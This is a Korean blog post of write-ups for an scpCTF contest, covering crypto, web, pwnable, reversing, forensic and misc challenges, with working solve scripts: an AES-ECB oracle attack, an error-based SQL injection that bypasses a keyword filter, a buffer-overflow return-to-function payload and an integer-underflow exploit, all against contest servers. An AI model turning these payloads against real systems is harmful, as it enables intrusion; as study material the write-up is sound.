티스토리 뷰
Crypto
ecb_mode
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from base64 import b64decode, b64encode
flag = open('/flag', 'rb').read()
BLOCK_SIZE = 16
key = get_random_bytes(16)
crypto = AES.new(key, AES.MODE_ECB)
while True:
try:
data = b64decode(input('plain text (base64) >> '))
except:
print('Retry')
continue
enc_data = crypto.encrypt(pad(data + flag, BLOCK_SIZE))
print(f'enc_data : {b64encode(enc_data).decode()}')
전 날에 풀었던 핵챔 문제와 굉장히 유사하였다.
https://namchun.tistory.com/62
마찬가지로 Oracle Padding Attack을 이용하여 풀이를 하였다.
from pwn import *
from base64 import *
p = remote('jbuctf.kr', 10009)
payload = b64encode(b'a'*64)
def sla(msg):
p.sendlineafter(b'plain text (base64) >> ', msg)
flag = b''
for i in range(63):
if flag.decode().endswith('}'):
break
payload = b64encode(b64decode(payload)[:-1])
sla(payload)
target = b64decode(p.recvline()[11:-1])
for ct in range(32, 127):
test_payload = b64encode(b64decode(payload) + flag + chr(ct).encode())
sla(test_payload)
encrypted_data = b64decode(p.recvline()[11:-1])
if target[:63] == encrypted_data[:63]:
flag += chr(ct).encode()
print(flag.decode())
break
print(flag.decode())
scpCTF{42533c6a4e762e17bfe825c43331d7fb25842cb0}
random_primes
from Crypto.Util.number import getPrime
from random import randint
flag = open('/flag', 'rb').read()
flag = int.from_bytes(flag, 'big')
def gen_prime_list(n):
primes = []
for i in range(n):
primes.append(getPrime(512))
return primes
primes = gen_prime_list(4)
e = 65537
p = primes[randint(0, len(primes) - 1)]
q = primes[randint(0, len(primes) - 1)]
n = p * q
c = pow(flag, e, n)
primes = ', '.join(map(str, primes))
print(f'enc_flag = {c}')
gen_prime_list 함수에 4를 넣고 호출하여 4개의 랜덤한 소수를 받는다.
이 4개의 소수 중에서 2개를 무작위로 골라 N을 구한다.
복호화 코드에서는 출력된 4개의 소수들을 이용해 만들 수 있는 모든 2개 조합을 통해 N과 비교하여 p와 q를 구할 수 있었다.
from itertools import combinations
from Crypto.Util.number import *
from pwn import *
p = remote('jbuctf.kr', 10007)
enc_flag = int(p.recvline()[11:-1].decode())
print(enc_flag)
primes = p.recvline()[10:-2].decode().split(', ')
primes = [int(x) for x in primes]
all_combinations = list(combinations(primes, 2))
e = 65537
for combo in all_combinations:
p, q = combo[0], combo[1]
n = p * q
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
dec_data = long_to_bytes(pow(enc_flag, d, n))
if b'scpCTF{' in dec_data:
print(dec_data)
scpCTF{20274b52b7733c01ca141cead68519637556619c7271a6bb00ad}
distance
from Crypto.Util.number import getPrime
from random import randint
flag = open('/flag', 'rb').read()
flag = int.from_bytes(flag, 'big')
def gen_prime_list(n):
primes = []
for i in range(n):
primes.append(getPrime(512))
return primes
primes = gen_prime_list(4)
e = 65537
p = primes[randint(0, len(primes) - 1)]
q = primes[randint(0, len(primes) - 1)]
n = p * q
c = pow(flag, e, n)
primes = ', '.join(map(str, primes))
print(f'enc_flag = {c}')
문제 이름에서 힌트를 얻어 p와 q 사이의 거리가 짧다는 것을 알게 되었고 이와 관련된 공격 기법을 찾았다.
https://www.youtube.com/watch?v=C6abHMw8uoo&ab_channel=AndrewMcCrady
해당 영상을 참고하여 sage를 돌려보았고 p와 q를 구하였다.
https://sagecell.sagemath.org/
def crack_when_pq_close(n):
t = int(ceil(sqrt(n)))
while True:
k = t^2 - n
if k > 0:
s = int(round(sqrt(t^2 - n)))
if s^2 + n == t^2:
return t+s, t-s
t += 1
crack_when_pq_close(31901579399507303322324738665544604714597308940966872690710395580343453283800063896468426013716783991274035487866558019193549130639260783008237132363940209315165895291107084528480793420621402970391064328606202846094516845332974320331924596874534063370781525859285291915142588731576946185517662333435173157283548809920868282793347132212184583486861049594634066422775858980856994389394360786253863737693832668559823095293979176122714362460471702295936156547506685666916326453581260718978488535400881507109627802050378195361630257298246833873871147581412412238490568749062885959671423919104333567998488013823073665667579)
(178610132409970804887621598659756622950465419909690486084892374366062309983547551660757990196357508467729515924489128147468491229735494480035971653776917221554268833848062187536628754425357387617401479615014758973984198543590333768986159655916425025547207411740386816245416506387298143098351083586945340913993,
178610132409970804887621598659756622950465419909690486084892374366062309983547551660757990196357508467729515924489128147468491229735494480035971653776917221554268833848062187536628754425357387617401479615014758973984198543590333768986159655916425025547207411740386816245416506387298143098351083586945340839203)
(p, q)
from itertools import combinations
from Crypto.Util.number import *
from pwn import *
p = remote('jbuctf.kr', 10007)
enc_flag = int(p.recvline()[11:-1].decode())
print(enc_flag)
primes = p.recvline()[10:-2].decode().split(', ')
primes = [int(x) for x in primes]
all_combinations = list(combinations(primes, 2))
e = 65537
for combo in all_combinations:
p, q = combo[0], combo[1]
n = p * q
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
dec_data = long_to_bytes(pow(enc_flag, d, n))
if b'scpCTF{' in dec_data:
print(dec_data)
scpCTF{20274b52b7733c01ca141cead68519637556619c7271a6bb00ad}
Web
내가 가장 좋아하는 쿠키는
주석에 적혀있는 쿠키 리스트 중에서 아무거나 제출해보면
이런 alert와 함께
submit_cookie라는 쿠키에 값이 생성이 된다.
이를 base64로 디코딩해보면 chocolate를 좋아한다는 문구가 있고
조금 게싱이 필요했지만 chocolate를 base64로 인코딩한 값을 submit_cookie에 넣고 새로고침해보면 flag를 얻을 수 있었다.
scpCTF{I_10V3_ch0C01ate}
Go away
문제 서버 링크에 접속해보면
접속이 차단된다.
response를 보면 index-5316908.js를 쓰는 것을 볼 수 있고, 접속해서 js를 받아보면
몇 천줄 정도 되는 코드가 있어서 '아 분석하는 것이 아니라 검색해서 찾는거겠구나'라고 생각되어서 scpCTF{를 검색해보니 flag를 얻을 수 있었다.
scpCTF{FBI_0P3NUP}
childsql
<?php
include "./db.php";
if(preg_match('/secret|_|\.|\(\)|col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("어허..!");
$query = "select id from secret where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($conn,$query));
if (mysqli_error($conn)) {
echo "데이터베이스 오류: " . mysqli_error($conn); // 오류 내용 출력
exit();
}
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from secret where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($conn,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) flag();
?>
쿼리문에서 error가 발생하였을 때 error를 출력해주는 것으로 보아 Error Based Sql Injection 기법이 필요해보인다.
(los의 문제와 굉장히 유사해보이는..ㅎㅎ https://namchun.tistory.com/61)
정규표현식에서 if와 when을 필터링하고 있기 때문에 조건문 없이 할 수 있는 방법을 찾아보니
' or (select 1 union select length(pw)=1) --%20
이런 서브 쿼리를 사용한다면 length(pw)=?라는 조건에서 거짓이 나올 때
'Subquery return more than 1 row'라는 에러 문구를 뱉게 만들 수 있다.
반복문을 통하여 에러가 없을 때의 pw 길이를 알아내었고 substr(pw,{i},1)을 통해 비밀번호를 알아가고 있었는데
pw의 substr 중에서 ascii의 최대값인 127을 넘어가는 값이 있다는 것을 발견하였고
코드를 수정하여 substr(hex(pw),{i},1)로 값을 찾아낼 수 있었다.
import requests
url = 'http://13.124.46.20:13205/?pw='
for i in range(100):
query = f"' or id='admin' and (select 1 union select (length(hex(pw))={str(i)}))--%20"
r = requests.get(url+query)
if '한글을 사랑하는 사람들의 모임' in r.text:
print(i)
break
flag = ''
for i in range(1, 1000):
for ct in range(0x10):
query = f"' or id='admin' and (select 1 union select (substr(hex(pw),{i},1)='{hex(ct)[2:]}'))%23"
r = requests.get(url+query)
if '한글을 사랑하는 사람들의 모임' in r.text:
flag += str(hex(ct)[2:])
print(flag)
break
ed959ceab5adec96b4eb8a942121eab7bcebb3b8ec9db4eb8ba4212121라는 값이 나왔으며
127보다 큰 값들은 decode() 해주고 나머지는 chr()로 만들어주니 "한국어는!!근본이다!!!"가 나왔다.
이 문자열을 pw에 넣으니 flag() 함수가 실행되며 flag를 얻을 수 있었다.
scpCTF{slkndfnksd_21dmi21_asncioas}
Pwnable
babybof
main func
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[256]; // [rsp+0h] [rbp-100h] BYREF
vuln((__int64)v4);
return 0;
}
vuln func
size_t __fastcall vuln(__int64 a1)
{
char v2[512]; // [rsp+10h] [rbp-200h] BYREF
__isoc99_scanf("%511s", v2);
return xor_data(a1, v2);
}
xor_data func
size_t __fastcall xor_data(__int64 a1, const char *inputValue)
{
size_t result; // rax
int i; // [rsp+1Ch] [rbp-14h]
for ( i = 0; ; ++i )
{
result = strlen(inputValue);
if ( i >= result )
break;
*(_BYTE *)(i + a1) = inputValue[i] ^ 0x58;
}
return result;
}
get_flag func
void __noreturn get_flag()
{
char s[264]; // [rsp+0h] [rbp-110h] BYREF
FILE *stream; // [rsp+108h] [rbp-8h]
stream = fopen("/home/RET/flag", "r");
if ( !stream )
{
puts("flag.txt not found - call SCP member\n");
exit(0);
}
fgets(s, 256, stream);
puts(s);
exit(0);
}
512의 길이만큼 입력을 받고, 입력받은 값들을 rbp-0x100에 0x58과 xor하여 저장한다.
payload를 구상해보면 0x100(256)만큼 dummy를 넣어주고 sfp를 채운 뒤 get_flag의 주소를 0x58과 xor하여 넣어주면 될 것이다.
from pwn import *
# p = process('./babybof')
p = remote('jbuctf.kr', 13571)
payload = b'A'*256
payload += b'B'*8
# get_flag = 0x4011D6
get_flag = b'\x8eI\x18XXXXX' #0x4011D6을 각각 0x58로 xor한 값
payload += get_flag
p.sendline(payload)
p.interactive()
scpCTF{babyB@F_0n3_5t3p_c13arr_Gr3at#!}
Forensic
Easy to Listening
오디오 파일을 받아 재생하면 scpCTF까지는 잘 들리지만 그 이후로는 역재생되어 나온다.
https://audiotrimmer.com/kr/online-audio-reverser/
이 사이트에서 변환하여 들어보았다.
scpCTF{someone_behind_you}
Reversing
serial
main func
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *v3; // eax
int i; // eax
int v5; // edx
int v6; // ecx
char *v7; // eax
sub_401010("Input : ");
v3 = _acrt_iob_func(0);
fgets(Buffer, 23, v3);
for ( i = 0; i < 15; ++i )
++byte_403018[i];
v5 = 0;
while ( Buffer[v5] == ((dword_402150[v5] >> 2) | ((dword_402150[v5] & 3) << 6)) )
{
++v5;
v6 = 0;
if ( v5 >= 23 )
goto LABEL_8;
}
v6 = 1;
LABEL_8:
v7 = "Wrong, Try again!";
if ( !v6 )
v7 = "Correct! This is Reversing";
sub_401010(v7);
system("pause > nul");
return 0;
}
key.py
dword = [0xCD, 0x8D, 0xC1, 0xD, 0x51, 0x19, 0xED, 0xDD, 0x85, 0xC9, 0xB5, 0xA5, 0xB9, 0x9D, 0x7D, 0xD5, 0xC1, 0xD1, 0xA5, 0xB5, 0x95, 0xF5]
for v5 in range(22):
print(chr((dword[v5] >> 2) | ((dword[v5] & 3) << 6)), end='')
scpCTF{warming_uptime}
misc
나도 이제 친구가 생겼어!!
Best_Fri_end.png라는 파일 하나를 준다.
hxd로 열어보면 파일 끝에 jpg의 footer signature가 보인다.
FF D8(jpg header signature)를 검색해서 해당 부분부버 파일 끝까지 복사 후 새로 파일을 만들어보면
flag가 담긴 파일을 확인할 수 있다
scpCTF{It_has_double_personality}
donation
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <stdint.h>
uint16_t your_money = 0;
uint16_t dona_money = 0;
void get_flag()
{
FILE *f = fopen("/home/UF/flag", "r");
char buf[256];
if (f == NULL)
{
puts("flag.txt not found - call SCP member\n");
exit(0);
}
else
{
fgets(buf, sizeof(buf), f);
printf("%s\n", buf);
exit(0);
}
}
void menu()
{
printf("======MENU======\n");
printf("1. check money\n");
printf("2. donate money\n");
printf("3. make money\n");
printf("4. shop\n");
printf("================\n");
}
void shop_menu()
{
printf("======MENU======\n");
printf("1. buy flag\n");
printf("2. buy candy\n");
printf("3. return to menu\n");
printf("================\n");
}
void donate_menu()
{
printf("======MENU======\n");
printf("1. Total donation amount\n");
printf("2. Donate my money\n");
printf("3. return to menu\n");
printf("================\n");
}
void shop()
{
int choice;
while (1)
{
shop_menu();
scanf("%d", &choice);
switch (choice)
{
case 1:
if (your_money >= 65530)
{
your_money -= 65530;
printf("Purchase completed. Please come again. ~_~\n");
get_flag();
}
else
{
printf("The flag is 65,530 won. You have no money!!\n");
}
break;
case 2:
your_money -= 300;
dona_money += 300;
printf("you bought candy!\n");
break;
case 3:
return;
}
}
}
int problem()
{
srand(time(NULL));
int num1 = rand() % 9999 + 1;
int num2 = rand() % 9999 + 1;
int operator= rand() % 4;
float answer = 0.0;
switch (operator)
{
case 0:
answer = num1 + num2;
printf("%d + %d = ?\n", num1, num2);
break;
case 1:
answer = num1 - num2;
printf("%d - %d = ?\n", num1, num2);
break;
case 2:
answer = num1 * num2;
printf(" %d * %d = ?\n", num1, num2);
break;
case 3:
answer = (float)num1 / num2;
printf("%d / %d = ?\n", num1, num2);
break;
}
float userAnswer;
printf("Input answer: ");
scanf("%f", &userAnswer);
if (userAnswer == answer)
return 1;
else
return 0;
}
void work()
{
int answer;
answer = problem();
if (answer == 1 && your_money < 65500)
{
printf("correct. you get 10 won\n");
your_money += 10;
}
else
{
printf("Incorrect.\n");
}
}
void check()
{
printf("There is %d won in your wallet.\n", your_money);
}
void donate()
{
int choice;
uint16_t input_money;
donate_menu();
scanf("%d", &choice);
switch (choice)
{
case 1:
printf("Total donate money is %d won.\n", dona_money);
break;
case 2:
printf("How much are you going to donate?\n");
scanf("%hd", &input_money);
if (your_money < input_money)
{
printf("You don't have enough money to donate the money. Get out of here right now!!!!!\n");
exit(-1);
}
your_money -= input_money;
dona_money += input_money;
printf("%d won has been donated.\n", input_money);
break;
case 3:
return;
}
}
int main()
{
int choice;
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("Hello!, There is %d won in your wallet.\n", your_money);
while (1)
{
menu();
scanf("%d", &choice);
switch (choice)
{
case 1:
check();
break;
case 2:
donate();
break;
case 3:
work();
break;
case 4:
shop();
break;
}
}
return 0;
}
65530원을 가지고 있으면 flag를 구매할 수 있다
work() 함수를 통해 10원씩 돈을 벌 수는 있지만 보유한 돈이 65500원을 넘으면 더 이상 돈을 벌 수 없다.
분석을 해보면 shop()에서 candy를 살 때 검증을 하지 않아 언더플로우가 발생한다. 하지만 뺄 수 있는 돈은 300원으로 정해져 있어 만약 290원까지 벌고 300원을 빼더라도 65536 + (290 - 300) = 65526원으로 4원이 부족하다.
이는 donate() 함수를 통해 300원까지 벌고 1원을 버려 299원을 만든 뒤 300을 뺀다면 65536 + (299 - 300) = 65535원을 생성할 수 있게 될 것이다.
from pwn import *
def slaMenu(msg):
p.sendlineafter(b'================\n', msg.encode())
def slaQuestion(q, msg):
p.sendlineafter(q.encode(), msg.encode())
p = remote('jbuctf.kr', 13572)
for i in range(30):
slaMenu('3')
prob = p.recv().decode().split()
num1 = prob[0]
num2 = prob[2]
sign = prob[1]
result = eval(f'{num1} {sign} {num2}')
slaQuestion('Input answer: ', str(result))
slaMenu('2')
slaMenu('2')
slaQuestion('How much are you going to donate?\n', '1')
slaMenu('4')
slaMenu('2')
slaMenu('1')
print(p.recvall())
scpCTF{!nt3g3r_Und3rf10W_G3t_F1aG_:)}
Survey
설문조사를 하고 flag를 얻었다.
scpCTF{7h4nk_y0u_f0r_p4r71c1p47ing}
(설문조사한 팀들로 추첨했는데 당첨됐다 ㅎㅎ)
내 문제풀이 블로그에 대한 방향성을 생각해보았는데 아직 남들에게 알려주기보다는 내가 다음번에 필요할 때 다시 생각나고, 참고할 만한 자료가 될 수 있도록 다시 정리해두는 방식으로 작성해보려고 한다.
'CTF' 카테고리의 다른 글
더 해킹 챔피언십 주니어 2023(DSEC 2023) 문제 풀이 및 후기 (0) | 2023.10.30 |
---|---|
27th Hacking Camp 후기 (0) | 2023.09.04 |
순천향대학교 제 21회 정보보호 페스티벌 본선 풀이 및 후기 (1) | 2023.08.29 |
순천향대학교 제 21회 정보보호 페스티벌 예선전 풀이 및 후기 (1) | 2023.08.28 |
2022 MetaRed CTF (0) | 2022.11.13 |
- Total
- Today
- Yesterday
- Lord of SQL injection
- CTF
- writeup
- 웹해킹
- 티스토리챌린지
- 이더넛
- misc
- ctftime
- 프로그래머스
- 디지털 포렌식
- Write up
- web3
- Ethernaut
- solidity
- 파이썬
- Python
- 이세돌
- Ethereum
- forensic
- 오블완
- blockchain
- smart contract
- 코딩테스트
- 정렬
- 알고리즘
- 디스코드 봇
- 워게임
- YISF
- Los
- Crypto
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |